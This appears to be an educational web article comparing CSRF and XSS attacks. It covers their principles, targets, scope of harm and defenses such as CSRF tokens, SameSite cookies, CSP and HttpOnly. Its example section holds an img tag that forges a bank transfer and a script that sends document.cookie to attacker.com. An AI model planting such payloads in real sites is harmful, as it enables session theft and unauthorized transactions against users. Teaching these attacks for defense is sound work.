乐闻世界logo
搜索文章和话题

What are the differences between CSRF and XSS attacks?

2月21日 16:10

CSRF (Cross-Site Request Forgery) and XSS (Cross-Site Scripting) are two common web security vulnerabilities, but their attack principles and defense methods are completely different.

Core Differences

1. Attack Principle

CSRF:

  • Exploits user's authenticated identity
  • Triggers user to send requests to target website
  • Browser automatically carries Cookies
  • Does not require script injection

XSS:

  • Injects malicious scripts into target website
  • Scripts execute in victim's browser
  • Can steal Cookies, session tokens
  • Can execute arbitrary JavaScript code

2. Attack Target

CSRF:

  • Attacks server-side
  • Uses user's legitimate identity
  • Performs unintended operations (e.g., transfers, password changes)

XSS:

  • Attacks client-side
  • Exploits website vulnerabilities
  • Steals user data or controls user's browser

3. Attack Method

CSRF:

  • Through cross-origin requests (e.g., <img>, <form>, <iframe>)
  • Doesn't require user interaction (in some cases)
  • Requests appear to come from legitimate users

XSS:

  • Through script injection (e.g., <script>, <onerror>)
  • Requires user to visit page with malicious code
  • Scripts execute in page context

4. Scope of Harm

CSRF:

  • Limited by user permissions
  • Can only perform operations user has permission for
  • Cannot directly read response content

XSS:

  • Can steal Cookies, Tokens
  • Can read page content
  • Can execute arbitrary operations
  • Can spread to other users

5. Defense Methods

CSRF Defense:

  • CSRF Token
  • SameSite Cookie
  • Verify Referer/Origin
  • Double Submit Cookie

XSS Defense:

  • Input validation and filtering
  • Output encoding (HTML, JavaScript, URL)
  • Content Security Policy (CSP)
  • HttpOnly Cookie

Real-world Examples

CSRF Attack Example

html
<!-- Malicious website --> <img src="https://bank.com/transfer?to=attacker&amount=1000">

XSS Attack Example

html
<!-- Malicious comment --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>

Commonalities

  1. Both are cross-site attacks
  2. Both exploit browser security models
  3. Both require user to visit malicious content
  4. Both can be prevented through secure coding

Summary

CSRF is "impersonating the user", XSS is "controlling the user". CSRF exploits user's legitimate identity to perform operations, XSS injects scripts to control the browser. Understanding the difference is crucial for building secure web applications.

标签:CSRFXSS